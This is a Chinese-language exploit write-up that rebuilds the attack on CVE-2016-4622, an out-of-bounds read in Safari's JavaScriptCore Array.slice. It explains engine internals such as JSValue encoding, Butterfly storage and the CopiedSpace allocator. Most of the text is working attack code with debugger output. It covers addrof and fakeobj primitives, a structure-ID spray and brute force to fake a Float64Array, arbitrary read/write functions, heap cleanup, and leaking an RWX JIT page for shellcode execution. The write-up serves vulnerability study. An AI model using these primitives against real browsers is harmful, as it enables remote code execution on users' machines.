Samuel Groß近日在phrack杂志上发表了一篇关于关于Safari浏览器JavaScript引擎JavaScriptCore的漏洞利用技术论文《Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622》, 文章介绍了作者如何利用JavaScriptCore引擎的相关特性实现对一个越界访问漏洞的利用思路。出于对漏洞本身以及相关利用思路实现细节的好奇,本文作者尝试在不参考原作者所提供Exploit代码的前提下对其分享的利用思路进行“复盘”,通过这一过程不但理解了Exploit的实现细节,并且体会了exploiter在编写Exploit过程中的心路历程。于是特为此文。
漏洞存在于JSC::arrayProtoFunSlice函数中,可以通过以下PoC触发
var a = Array.apply(null, new Array(0x10000)).map(function () {return 0x13371337})
var b = {“valueOf”: function (){
a.length = 1
}}
a.slice(b, 6)
Array.prototype.slice函数原型如下,对一个数组调用slice方法会返回由原数组中从索引begin到end之间所有元素组成的一个新数组。
arr.slice([begin [, end]])
JSC::arrayProtoFunctionSlice函数首先会调用getLength得到当前数组的长度,并将其保存在栈上的临时变量length中。然后调用argumentClampedIndexFromStartOrEnd函数读取参数begin和end
unsigned length = getLength(exec, thisObj);
if (UNLIKELY(vm.exception()))
return JSValue::encode(jsUndefined());
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
argumentClampedIndexFromStartOrEnd函数会调用toInteger函数将参数转换为double类型,这时如果传入的参数是一个对象并且重定义了“valueOf”方法,这个方法就会被调用。
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
如果在重定义的valueOf方法中将数组的长度改小,如PoC中所示将数组a的长度改为1,这时在JSC::JSArray::setLength函数会调用reallocateAndShrinkButterfly函数为数组重新分配一块缓冲区保存数组中的数据,前提条件是数组的原长不小于64。
unsigned lengthToClear = butterfly->publicLength() – newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}
JSC::arrayProtoFuncSlice函数继续执行时,会调用JSC::JSArray::fastSlice函数从当前数组的数据缓冲区中复制数据,读取数据的起始位置由参数begin决定,复制数据的个数由(end-begin)决定。由于JSC::JSArray::fastSlice没有验证数据复制起始位置以及复制数据的个数是否会超出当前数组的实际长度,所以在valueOf回调函数已经将数组的实际长度改为1的情况下,调用memcpy函数会发越界访问。
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
memcpy(resultButterfly.contiguousDouble().data(),m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
else
memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
在JavaScript中有以下六种数据类型
+ Primitive data type
Boolean
null
undefined
number
string
+ Object
定义以下数组
var obj = {“prop1”: 0x1337, “prop2”: 1.337}
var foo = [true, false, null, undefined, 0x1337, 1.337, “1337”, obj]
JSC会根据数据类型使用JSValue对数据进行编码存储
0x7fb189a35330: 0x0000000000000007 0x0000000000000006
0x7fb189a35340: 0x0000000000000002 0x000000000000000a
0x7fb189a35350: 0xffff000000001337 0x3ff6645a1cac0831
0x7fb189a35360: 0x00007fb18977d2c0 0x00007fb1897e4f40
+ true: “`0x7“`
+ false: “`0x6“`
+ undefined: “`0xa“`
+ null: “`0x2“`
+ 0x1337: “`0xFFFF000000001337“` , 整数用二进制表示, 高16bit的模式“`FFFF:0000:IIII:IIII“`
+ 1.337: “`0x3ff6645a1cac0831“`, 浮点数用二进制表示,高16位的模式“`0001:****:****:****“`~“`FFFE:****:****:****“`
+ object: “`0x00007fb18977d2c0“`, 对象指针用二进制表示,高16bit的模式“`0000:PPPP:PPPP:PPPP“`
var obj = {“prop1”: 0x1337, “prop2”: 1.337}
这个对象在内存中布局如下:
0x7fb1897e4f40: 0x010015000000014e 0x0000000000000000
0x7fb1897e4f50: 0xffff000000001337 0x3ff6645a1cac0831
首8字节用于存储关于对象的JSCell信息,其中关键的信息包括:
+ m_structureID: 0x14e
(gdb) x/2b &(*(JSCell *)0x00007fb1897e4f40)->m_structureID
0x7fb1897e4f40: 0x4e 0x01
+ m_indexingType: 0x0
(gdb) x/1b &(*(JSCell *)0x00007fb1897e4f40)->m_indexingType
0x7fb1897e4f44: 0x00
+ m_type: 0x15
(gdb) x/1b &(*(JSCell *)0x00007fb1897e4f40)->m_type
0x7fb1897e4f45: 0x15
+ m_flags: 0x00
“`
(gdb) x/1b &(*(JSCell *)0x00007fb1897e4f40)->m_flags
0x7fb1897e4f46: 0x00
+ m_cellState: 0x1
(gdb) x/1b &(*(JSCell *)0x00007fb1897e4f40)->m_cellState
0x7fb1897e4f47: 0x01
之后八字节存储Butterfly结构指针,Butterfly是一个类似数组用于存储对象属性值的数据结构。当对象的属性个数超过默认值6时,JSC就会为对象创建一个Butterfly来存储属性的值。由于当前对象只有两个属性,这两个属性的值以inline方式保存。
根据WebKit官方Blog中的描述信息,***Structure are a way to represent memory layout of properties on an object.*** ***in JSC object properties are stored in an array-like object called Butterfly**/*, 由此可见这两个结构用于描述对象属性,他们和对象的关系可以用下图描述。
当访问对象中的某个属性时,JSC首先根据对象JSCell中保存的m/_structureID来查找能够描述该对象属性信息的Structure,然后用属性名称在Structure中查找该属性对应的offset,最后用offset在对象的Butterfly中读取属性的值。
按照数据的存储方式(indexing type),JSC中有以下6中不同类型的数组
/*ArrayWithUndecied 3*/
var arrayUndecied = []
/*ArrayWithInt32 5*/
var arrayWithInt32 = Array.apply(null, new Array(0x100)).map(function () {return 0x1337})
/*ArrayWithDouble 7*/
var arrayWithDouble = Array.apply(null, new Array(0x100)).map(function () {return 1.337})
/*ArrayWithContiguous 9*/
var arrayWithContiguous = Array.apply(null, new Array(0x100)).map(function () {return {“prop”: 0x1337}})
/*ArrayWithArrayStorage 11*/
var arrayWithStorage = []
arrayWithStorage[0] = 0
arrayWithStorage[0x1337] = 0x1337
/*ArrayWithSlowPutArrayStorage 13*/
var arrayWithSlowPutArrayStorage = [0x1337, 1.337]
Array.prototype.__defineSetter__(“0”, function() {});
在JSC使用MarkedSpace和CopiedSpace这两个堆进行内存管理。JSArray以及其他Javascript对象由MarkedSpace负责内存管理,Butterfly由CopiedSpace负责内存管理。当创建以下JSArray对象时,JSC调用CopiedAllocator::tryAllocate为数组a的Butterfly申请内存。
var a = [0x41414141, 0x41414141, 0x41414141, 0x41414141]
调用栈
JSArray::tryCreateUninitialized
|
|–>Heap::tryAllocateStorage
|
|–>CopiedSpace::tryAllocate
|
|–>CopiedAllocator::tryAllocate
CopiedAllocator::tryAllocate申请内存算法非常简单——从当前剩余可用内存块中按需“切割”下所申请的内存
size_t currentRemaining = m_currentRemaining;
if (bytes > currentRemaining)
return false;
currentRemaining -= bytes;
m_currentRemaining = currentRemaining;
*outPtr = m_currentPayloadEnd – currentRemaining – bytes;
所以如果连续创建数组,它们的butterfly在内存中也一定是连续分布的
var a = [0x41414141, 0x41414141, 0x41414141, 0x41414141]
var b = [0x42424242, 0x42424242, 0x42424242, 0x42424242]
var c = [0x43434343, 0x43434343, 0x43434343, 0x43434343]
内存布局
(gdb) x/30gx 0x00007f3e48c814a0
0x7f3e48c814a0: 0x0000000400000004 0xffff000041414141
0x7f3e48c814b0: 0xffff000041414141 0xffff000041414141
0x7f3e48c814c0: 0xffff000041414141 0x0000000400000004
0x7f3e48c814d0: 0xffff000042424242 0xffff000042424242
0x7f3e48c814e0: 0xffff000042424242 0xffff000042424242
0x7f3e48c814f0: 0x0000000400000004 0xffff000043434343
0x7f3e48c81500: 0xffff000043434343 0xffff000043434343
0x7f3e48c81510: 0xffff000043434343 0x0000000000000000
利用JSC CopiedSpace在分配内存时内存块地址线性增长的这一特性,可以非常容易利用漏洞越界访问到攻击者希望读取的内存,从而实现信息泄漏。以下JS代码可以利用漏洞泄漏任意地址信息。
function leak_obj(obj)
{
/*create a ArrayWithDouble JSArray with butterfly of length 0x100*/
var a = Array.apply(null, new Array(0x100)).map(function () { return 1.337; })
var b = {“valueOf”: function () {
/*reallocated a new butterfly of length 1*/
a.length = 1
/*create another butterfly filled with address to be leaked*/
var c = [obj]
return 4
}}
var address = f64_to_uint(a.slice(b, 5))
return address
}
var domobj = document.createElement(“canvas”)
log(“0x” + leak_obj(domobj).toString(16))
在回调valueOf函数之前,数组a的Butterfly内存布局为
(gdb) x/10gx thisObj->m_butterfly->m_value
0x7f3e1e21d068: 0x3ff5645a1cac0831 0x3ff5645a1cac0831
0x7f3e1e21d078: 0x3ff5645a1cac0831 0x3ff5645a1cac0831
0x7f3e1e21d088: 0x3ff5645a1cac0831 0x3ff5645a1cac0831
0x7f3e1e21d098: 0x3ff5645a1cac0831 0x3ff5645a1cac0831
0x7f3e1e21d0a8: 0x3ff5645a1cac0831 0x3ff5645a1cac0831
回调valueOf函数之后,数组a的Butterfly内存布局为
(gdb) x/10gx thisObj->m_butterfly->m_value
0x7f3e1e21d870: 0x3ff5645a1cac0831 0x3ff5645a1cac0831
0x7f3e1e21d880: 0x3ff5645a1cac0831 0x0000000400000001
0x7f3e1e21d890: 0x00007f3e1deda4c0 0x0000000000000000
0x0007f3e1deda4c0 就是domobj对象的内存地址
(gdb) info symbol *(long *)((long *)0x00007f3e1deda4c0+2)
WebCore::JSHTMLCanvasElement::s_info
这里有一处值得注意的细节,在leak_obj函数中攻击者定义了一个ArrayWithDouble类型的数组。之所以要把数组a定义为ArrayWithDouble类型,是基于以下两方面考虑。第一,Array.prototype.slice函数返回的存放泄漏内存信息的数组类型由数组a决定。 第二,当我们通过索引0去访问通过越界读写入这个数组的对象指针时,在JSObject::getOwnPropertySlotByIndex函数中,会根据数组类型对读取的值进行不同方式的编码。
case ArrayWithInt32:
case ArrayWithContiguous:{
JSValue value = butterfly->contiguous()[i].get();
if (value) {
slot.setValue(thisObject, None, value);
return true;
}
return false;
}
case ArrayWithDouble:{
double value = butterfly->contiguousDouble()[i];
if (value == value) {
slot.setValue(thisObject, None, JSValue(JSValue::EncodeAsDouble, value));
return true;
}
}
如果数组类型为ArrayWithInt32或者ArrayWithContiguous, 读取的值0x00007f3e1deda4c0会被当作是一个JSValue来处理。 这个值在JSValue的编码规则中是一个正常的对象指针,所以返回到脚本层得到的会是一个对象的引用。如果数组类型为ArrayWithDouble,读取的值0x00007f3e1deda4c0会被当作是一个double类型的变量来处理,这时在脚本层得到的就是一个经过编码的浮点数。通过对这个浮点数进行类型换换就能得到攻击者需要的内存地址信息。
function f64_to_uint(f64)
{
var bytes = new Uint8Array(new Float64Array([f64]).buffer)
if(bytes.length != 8)
{
if(debug) log(“f64_to_u64 error.”)
}
var uint = 0
for(var i=0; i<bytes.length; i++)
{
uint += (bytes[bytes.length – i – 1] * Math.pow(2, 0x38 – i * 8))
}
return uint
}
再回顾利用OOB实现信息泄漏的过程“`0x00007f3e1deda4c0“`本来是一个对象指针,但是攻击者却使JSC把它当作是double类型的变量来读取。可以说攻击者巧妙的把一个OOB漏洞转换成了一个类型混淆漏洞,而且既然攻击者可以让JSC把一个对象指针“混淆”成double,那么攻击者也就能够把一个double类型的变量让JSC“混淆”成一个对象指针。一旦如此,攻击者就能够在脚本层可以得到一个地址可控的“对象”的引用。
function uint_to_f64(uint)
{
var high = (uint / Math.pow(2, 0x20))
var low = (uint & 0xFFFFFFFF)
var bytes = new Uint8Array((new Uint32Array([low, high]).buffer))
var f64_array = new Float64Array(bytes.buffer)
return f64_array[0]
}
function fake_obj(addr)
{
var a = new Array(0x100)
for(var i=0; i<a.length; i++)
{
a[i] = 0x13371337
}
var b = {“valueOf”: function () {
var fake = uint_to_f64(addr)
a.length = 1
var c = [fake]
return 4
}}
var obj = a.slice(b, 5)[0]
return obj
}
/*suppose 0x133713371337 was an invalid address filled with fully controlled data*/
var obj = fake_obj(0x133713371337)
在valueOf函数回调之前
(gdb) x/10gx thisObj->m_butterfly->m_value
0x7fb0f0c3c730: 0xffff000000001337 0xffff000000001337
0x7fb0f0c3c740: 0xffff000000001337 0xffff000000001337
0x7fb0f0c3c750: 0xffff000000001337 0xffff000000001337
0x7fb0f0c3c760: 0xffff000000001337 0xffff000000001337
0x7fb0f0c3c770: 0xffff000000001337 0xffff000000001337
在valueOf函数回调之后
(gdb) x/10gx thisObj->m_butterfly->m_value
0x7fb0f0c3dfb8: 0xffff000000001337 0xffff000000001337
0x7fb0f0c3dfc8: 0xffff000000001337 0x0000000400000001
0x7fb0f0c3dfd8: 0x0000133713371337 0x7ff8000000000000
0x7fb0f0c3dfe8: 0x7ff8000000000000 0x7ff8000000000000
0x7fb0f0c3dff8: 0x0000000000000000 0x0000000000000000
之后需要解决的问题就是如何去构造一个合法的内存地址,它需要满足以下两个条件
+ 能够通过leak_obj直接或者间接泄漏,以便于得到其内存地址
+ 能够写入攻击者可控的数据,以便于伪造对象
对象中的inline属性能满足以上两个条件。首先,当对象的属性不超过6个时,属性的值会以inline方式在对象内部存储。通过leak_obj泄露了某个对象的地址,也就能间接得知其中属性的内存地址。其次,对象的属性可以写入攻击者可控的数据。当攻击者定义这样一个对象时:
var obj = {
“pop1”: uint_to_f64(0x414141414141),
“pop2”: uint_to_f64(0x424242424242),
“pop3”: uint_to_f64(0x434343434343),
“pop4”: uint_to_f64(0x444444444444),
“pop5”: uint_to_f64(0x454545454545),
“pop6”: uint_to_f64(0x464646464646)
}
对应在内存中布局
0x7ff5f25cfec0: 0x01001500000001b4 0x0000000000000000
0x7ff5f25cfed0: 0x0001414141414141 0x0001424242424242
0x7ff5f25cfee0: 0x0001434343434343 0x0001444444444444
0x7ff5f25cfef0: 0x0001454545454545 0x0001464646464646
攻击者伪造对象的最终目的是希望利用伪造的对象能够方便的在当前进程全地址空间内实现任意读写,所以攻击者希望伪造的对象能够具备以下三个特征:
+ 对象用类似数组的数据结构管理数据,以便支持线性地对数据进行读写操作;
+ 对象内部定义了类似缓冲区基地址以及缓冲区大小的变量,以便实现全地址读写;
+ 数据不会被编码存储,“所存即所写” (what memory stores is what you write)
显然在JS中能够最佳符合以上特征的对象就是以下TypedArray
Int8Array
Uint8Array
Uint8ClampedArray
Int16Array
Uint16Array
Int32Array
Uint32Array
Float32Array
Float64Array
又因为攻击者的攻击目标是64位系统,所以攻击者选定将Float64Array作为伪造对象的类型。
定义如下Float64Array对象
var arrbuf = new ArrayBuffer(0x200)
var f64 = new Float64Array(arrbuf)
for(var i=0; i<0x200/8; i++)
{
f64[i] = uint_to_f64(0x414141414140 + i)
}
对象在内存中的布局如下:
(gdb) x/10gx 0x7ff66cf77b80
0x7ff66cf77b80: 0x01186c0000000171 0x00007ff66d2059e8
0x7ff66cf77b90: 0x00007ff6b0f44200 0x0000000200000040
print/x ((JSCell)0x01186c0000000171).m_structureID
$6 = 0x171
0x01186c0000000171是Float64Array对象的JSCell,其中最关键的两个信息一个对象类型0x6C,和structure ID 0x171。这个值虽然不是随机数,但是c
0x00007ff66d2059e8是butterfly指针,虽然将butterlfy指针设置任意值并不影响对象的伪造,但是为了保证Exploit的稳定性需要将其设置为一个合法的Butterfly结构指针。
0x00007ff6b0f44200是数据缓冲区的起始地址。
(gdb) x/10gx 0x00007ff6b0f44200
0x7ff6b0f44200: 0x0000414141414140 0x0000414141414141
0x7ff6b0f44210: 0x0000414141414142 0x0000414141414143
0x7ff6b0f44220: 0x0000414141414144 0x0000414141414145
0x7ff6b0f44230: 0x0000414141414146 0x0000414141414147
0x7ff6b0f44240: 0x0000414141414148 0x0000414141414149
0x0000000200000040 表示缓冲区的实际大小0x200,以及元素的个数0x40
要伪造一个Float64Array对象,最大难点在如何获得一个正确的Float64Array对象的structure ID。structure ID由函数JSC::StructureIDTable::allocateID中分配,通过代码逻辑可知m_structureID本质上是某个类型对应Structure在Structure Table中的一个索引值。因此理论上攻击者可以通过暴力枚举来猜测这个值。
function fake_float64array(zombie_obj)
{
var ptr = leak_obj(zombie_obj)
for(var i=start_index; <end_index; i++)
{
zombie_obj[“prop1”] = uint_to_f64(0x250000000000 + i)
var obj = fake_obj(ptr + 0x10)
if(obj instanceof Float64Array)
{
return obj
}
}
return null
}
var dummy =
{
“prop1”:uint_to_f64(0x6c0000000000), //jscell
“prop2”:uint_to_f64(0x424242424242), //butterfly
“prop3”:uint_to_f64(0x434343434343), //elements
“prop4”:uint_to_f64(0x444444444444), //length
“prop5”:uint_to_f64(0x454545454545), //dummy
}
var fake_f64 = fake_float64array(dummy)
然后需要考虑的问题是如何选取start_index和end_index,也就是暴力枚举的基本范围。start_index的值不能太低,因为instanceof会判断对象是否集成自Object,如果不是则触发Security Assertion造成进程Crash。
template<typename To, typename From>
inline To jsCast(From* from)
{
ASSERT_WITH_SECURITY_IMPLICATION(!from || from->JSCell::inherits(std::remove_pointer<To>::type::info())); //inherit from Object?
return static_cast<To>(from);
}
而Structure Table中低索引位置存储着一些JSC VM内部使用的类型,这些类型和Object没有继承关系。所以如果从比较低的位置开始暴力枚举肯定会出发Security Assertion。除此之外,end_index也不能太大。如果end_index太大则会超出Structure Table的实际范围,同样会因触发Security Assertion而导致
inline Structure* StructureIDTable::get(StructureID structureID)
{
#if USE(JSVALUE64)
ASSERT_WITH_SECURITY_IMPLICATION(structureID && structureID < m_capacity);
return table()[structureID].structure;
#else
return structureID;
#endif
}
基于以上限制条件,攻击者采用这样的暴力枚举策略:
+ Step1. 通过Structure Spray给Structure Table扩容
function structure_spray()
{
for(var i=0; i<0x800; i++)
{
eval(“function func”+i.toString()+”(x){this.x=x};var a = new func” + i.toString() + “(1);”)
}
}
+ Step2.从一个可靠的位置开始,由高向低依次枚举。
function fake_float64array(zombie_obj)
{
var ptr = leak_obj(zombie_obj)
structure_spray()
for(var i=0x300; i>0; i–)
{
zombie_obj[“pop1”] = uint_to_f64(0x6c0000000000 + i)
var obj = fake_obj(ptr + 0x10)
if(obj instanceof Float64Array)
{
return obj
}
}
return null
}
var dummy =
{
“prop1”:uint_to_f64(0x6c0000000000), //jscell
“prop2”:uint_to_f64(0x424242424242), //butterfly
“prop3”:uint_to_f64(0x434343434343), //elements
“prop4”:uint_to_f64(0x444444444444), //length
“prop5”:uint_to_f64(0x454545454545), //dummy
}
var fake_f64 = fake_float64array(dummy)
实现了Float64Array对象的伪造之后,攻击者离AAR和AAW仅剩一步之遥。因为整数和浮点数在对象中以inline方式存储时会被JSValue进行编码,所以攻击者无法直接将希望读写的内存地址写入攻击者定义的dummy对象来作为Float64Array的elements指针。但如果攻击者把一个对象引用对dummy[“prop3”]赋值, 那么攻击者就可以把这个对象的地址当作伪造的Float64Arrray对象的elements指针,从而能够以读写数组的方式的对一个对象的内存进行操作。基于这一思想,攻击者用一个真实的Float64Array对象对dummy[“prop3”]赋值。
var arrbuf = new ArrayBuffer(0x1000)
var f64 = new Float64Array(arrbuf)
for(var i=0; i<0x200/8; i++)
{
f64[i] = 0xBAD0BEEF
}
var dummy =
{
“pop1”:uint_to_f64(0x6c0000000000), //jscell
“pop2”:uint_to_f64(0x424242424242), //butterfly
“pop3”:f64, //elements
“pop4”:uint_to_f64(0x200000040), //length
“pop5”:uint_to_f64(0x454545454545), //dummy
}
var fake_f64 = fake_float64array(dummy)
然后以读写fake_f64数组的方式,修改f64对象的elemnts指针。
function write64(addr, u64)
{
fake_f64[2] = uint_to_f64(addr)
f64[0] = uint_to_f64(u64)
}
write64(0x424242424242, 0x414141414141)
这样就实现了AAR/AAW。
Thread 1 “WebKitWebProces” received signal SIGSEGV, Segmentation fault.
0x00007fbc3cb181a4 in JSC::JSGenericTypedArrayView<JSC::Float64Adaptor>::setIndex
(gdb) x/i $pc
=> 0x7fbc3cb181a4 JSGenericTypedArrayViewINS_14Float64AdaptorEE8setIndex: movsd %xmm0,(%rcx,%rax,8)
(gdb) info registers
rax 0x0 0
rcx 0x424242424242
(gdb) p/x $xmm0.v2_int64
$2 = {0x414141414141, 0x0}
虽然行文至此攻击者已获得了在当前进程空间内对任意地址读写的能力,但为了提高Exploit的稳定性还必须清理犯罪现场——对伪造Float64Array对象中的buttterfly指针和length长度进行修复。因为这两个字段在垃圾回收阶段会被访问和校验,畸形构造的数据会导致内存崩溃。
/*leak pointer to fake_f64*/
var ptr_fake_f64 = leak_obj(fake_f64)
/*leak pointer to f64*/
var ptr_f64 = leak_obj(f64)
/*read the butterfly pointer in f64 and copy it to fake_f64*/
write64(ptr_fake_f64 + 8, read64(ptr_f64+8))
/*fixup the length field, setting it to be exactly the same as sizeof(Float64Array)*/
write64(ptr_fake_f64 + 0x18, 0x0000000200000004)
在当某个函数被多次调用后,该函数就会被JS引擎以JIT方式编译为Native Code。可以通过以下方式定义一个函数对象func_obj,然后通过多次多次调用触发JIT
var js_code = “function rip(){ tmp = [];”
for(var i=0; i<0x1000; i++)
js_code += “tmp[” + i +”]=” + i +”;”
js_code += “};rip()”
var func_obj = new Function(js_code)
/*trigger JIT for func_obj*/
for(var i=0; i<0x200; i++)
func_obj()
JITCode对象的m_codePtr成员变量存放JIT生成的Native Code所在内存地址。JSFunction和JITCode对象的关系如下图所示:
func_obj对象经JIT生成的Native Code的内存页地址为0x7f56a6621aa0, 其内存页属性为可读可写可执行。
(gdb) x/10i 0x7f56a6621aa0
0x7f56a6621aa0: push %rbp
0x7f56a6621aa1: mov %rsp,%rbp
0x7f56a6621aa4: movabs $0x7f565718b700,%r11
0x7f56a6621aae: mov %r11,0x10(%rbp)
0x7f56a6621ab2: lea -0x70(%rbp),%rsi
0x7f56a6621ab6: movabs $0x7f56643f7400,%r11
0x7f56a6621ac0: cmp %rsi,(%r11)
0x7f56a6621ac3: ja 0x7f56a6621d4c
0x7f56a6621ac9: lea -0x60(%rbp),%rsp
0x7f56a6621acd: test $0xf,%spl
pwndbg> address 0x7f56a6621aa0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7f56a6621000 0x7f56a6622000 rwxp 1000 0
因此所以攻击者可以直接把Shellcode写入func_obj的Native Code所在内存页,然后再调用func_obj就可以实现任意代码执行。攻击者通过以下方式泄露JIT内存页地址:
/*leak pointer to JSFunction object*/
var ptr_funcobj = leak_obj(func_obj)
/*read pointer to ExecutableBase*/
var ptr1 = read64(ptr_funcobj + 0x18)
/*read pointer to JITCode*/
var ptr2 = read64(ptr1 + 0x18)
/*read m_codePtr*/
var jit = read64(ptr2 + 0x10)
本文首先分析了JavaScriptCore Array.slice函数OOB漏洞CVE-2016-4622的成因,然后以漏洞利用为目的简要介绍了JavaScriptCore的内部运行机制,最后将整个漏洞利用过程划分为信息泄露、伪造对象、任意读写、清理现场、执行ShellCode这五个步骤并逐一详细介绍了实现思路和实现方法。